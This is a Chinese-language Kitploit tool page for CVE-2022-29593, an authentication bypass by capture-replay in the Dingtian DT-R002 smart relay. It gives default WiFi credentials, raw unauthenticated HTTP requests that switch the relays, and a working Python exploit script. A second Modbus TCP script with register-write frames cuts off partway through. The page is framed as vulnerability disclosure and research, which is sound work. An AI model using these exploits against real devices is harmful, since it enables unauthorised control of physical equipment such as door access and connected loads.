Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-29593 — 针对鼎天 DT-R002 继电器中通过捕获重放实现认证绕过的概念验证漏洞利用,允许通过 HTTP 和 Modbus TCP 对继电器进行未授权控制。 | Kitploit
工具/GitHubGitHub/9lyph/cve-2022-29593
数据包嗅探与分析侦察物联网安全漏洞分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用模糊测试渗透测试硬件与物联网安全身份验证
83171年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
9lyph/cve-2022-29593

CVE-2022-29593

针对鼎天 DT-R002 继电器中通过捕获重放实现认证绕过的概念验证漏洞利用,允许通过 HTTP 和 Modbus TCP 对继电器进行未授权控制。

查看仓库
分享

CVE-2022-29593 - 通过捕获重放绕过认证(鼎天 DT-R002)

标题

鼎天

通过捕获重放绕过认证 发布时间:版本:1.0 厂商:深圳市鼎天科技有限公司 产品:2通道继电器板/继电器卡 受影响版本:固件 V3.1.276A

产品 - 鼎天 DTR004

阿里国际站链接

产品描述

  • 2通道继电器板/继电器卡
  • 支持 WiFi/RS485/以太网

技术规格

概述

支持多通道继电器,开/关/延时/点动
支持多种接口 RJ45/RS485/CAN/WIFI
本地按键控制
PC 应用配置和控制
WEB 配置和控制
8KB FIFO 命令缓冲区
支持密码
WIFI 智能配置支持
按键控制
MQTT/Modbus/CoAP

技术参数

接口 RJ45/RS485/CAN/WIFI
波特率 100M/115200bps/125kbps/150Mbps
协议 TCP 服务器/客户端,UDP 服务器/客户端,RS485,CAN,WIFI
工作温度 -10~+75°C
存储温度 -40~+125°C
相对湿度 5~95% RH,无凝结
电源 9-40V 无极性
电流 1A@12V DC
功耗 <5W

继电器参数

继电器电源 AC 250V/10A,DC 30V/10A
延时 1~65535 秒
点动 吸合 0.5 秒,自动释放

电源 无极性

DC 9~40V 无极性

参考

  • MITRE

  • Exploit-db

制造商

  • 鼎天成立于2019年,是一家物联网及门禁系统智能设备制造商。高效稳定的产品和快速交付是我们的行为准则。

研究

  • 上电(12VDC @ 1A 最大)

>

  • 网络扫描
  • 默认 WiFi(SSID):dtrelay7685(序列号为最后四位)
    • 在哪里可以找到序列号?
  • 默认 PSK(PSK):dtpassword
  • 默认 IP:192.168.7.1
nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap 

HTTP 访问

  • HTTP 访问允许控制设备,前提是连接到默认 SSID

>

发现

通过捕获重放绕过认证

  • 鼎天(鼎天 DT-R002)2CH 继电器,运行固件 V3.1.276A,允许攻击者重放相同或类似的数据。这使得攻击者无需认证即可控制连接到继电器的设备。
  • 发现可通过未经认证的 HTTP 请求控制设备继电器(开和关)

证据显示用于打开和关闭继电器的 HTTP 请求和响应

打开

请求
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

响应
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

关闭

请求
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

响应
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

弱点漏洞

  • CWE-294 - 通过捕获重放绕过认证

已知受影响软件配置

  • V3.1.276A(固件)

PoC 代码

#!/usr/local/bin/python3
# 作者: Victor Hanna (Exploit Security)
# 鼎天 DT-R002 2CH 智能继电器
# CWE-294 - 通过捕获重放绕过认证

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   作者 : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   描述: 鼎天 DT-R002 2CH 智能继电器                                      |")
    print ("|   用法 : "+sys.argv[0]+" <主机> <继电器编号>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] 正在利用" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] 继电器 1 打开!" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] 继电器 1 关闭!" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] 继电器 2 打开!" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] 继电器 2 关闭!" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] 没有这个继电器" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] 连接主机超时!")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] 连接主机超时!")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] 抱歉,失败了!" + Style.RESET_ALL)

if __name__ == "__main__":
    if len(sys.argv)>2:    
        host = sys.argv[1]
        relay = sys.argv[2]
        main ()
    else:
        print (Fore.RED + f"[+] 参数不足,请指定目标和继电器编号!" + Style.RESET_ALL)

通过 ModbusTCP 攻陷

还可以使用 Modbus 协议打开和关闭继电器。运行在 TCP 502 上的 Modbus 协议存在一定的不安全性,允许无需认证即可读写寄存器。

证据显示使用十六进制写入多个寄存器以打开和关闭继电器

PoC 代码

import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

'''
4.3.2 0x06:写单个寄存器
4路继电器全部打开
发送:
0000 0000 0006 FF 06 0002 0f0f
接收:
0000 0000 0006 FF 06 0002 0f0f
4路继电器全部关闭
发送:
0000 0000 0006 FF 06 0002 0f00
接收:
01 06 0002 0f00 2DFA

0000                     0000                 0006            FF               06                      00020f0f
<2字节事务ID> |<2字节协议ID>|<2字节长度>|<1字节单元ID>|<1字节功能码>|<用于响应或命令的数据>

事务ID: 用于服务器和客户端之间的同步
协议ID: ModBusTCP 中为0
长度字段: 帧中剩余字节数
单元标识符: 服务器地址(255 或 FF 如果未使用)
功能码: 与其他变体中的功能码相同
数据字节: 用于命令或响应的数据
    - 功能码 06 (写单个寄存器) [请求]
        - 要预置/写入的保持寄存器地址(2字节)
        - 保持寄存器的新值(2字节)
'''

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   作者 : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   描述: 鼎天 DT-R002 2CH 智能继电器                                   |")
    print ("|   用法 : "+sys.argv[0]+" <主机>                                                     |")
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
下载工具